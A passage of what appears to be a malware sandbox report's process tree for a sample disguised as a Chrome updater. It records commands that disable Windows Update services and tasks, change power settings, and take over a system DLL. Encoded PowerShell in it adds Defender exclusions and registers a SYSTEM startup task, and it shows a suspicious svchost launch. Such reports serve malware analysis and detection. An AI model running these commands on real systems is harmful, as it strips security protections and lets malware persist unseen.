        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        
        PID:3228
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2604
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        
        PID:3472
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:4108
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:2704
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:3948
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:556
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:2400
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:5316
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:2788
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:6420
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:5384
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:1048
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:3396
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:2404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:4252
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:3420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:6028
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:4544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:4008
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:4780
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:6004
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:2376
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:4428
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:3736
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:4000
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        
        PID:6580
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        
        PID:6268
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:2272
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:6924
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:2764
    - - C:\Windows\System32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2448
    - - C:\Windows\System32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1056
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:6472
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4644
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4560
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        
        PID:6660
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:3952
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:6240
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:3984
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:5812
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:4848
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:1540
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:712
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:3896
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:2392
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:3208
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:5816
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:2588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:6192
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:4260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:5804
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:4212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:4180
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN 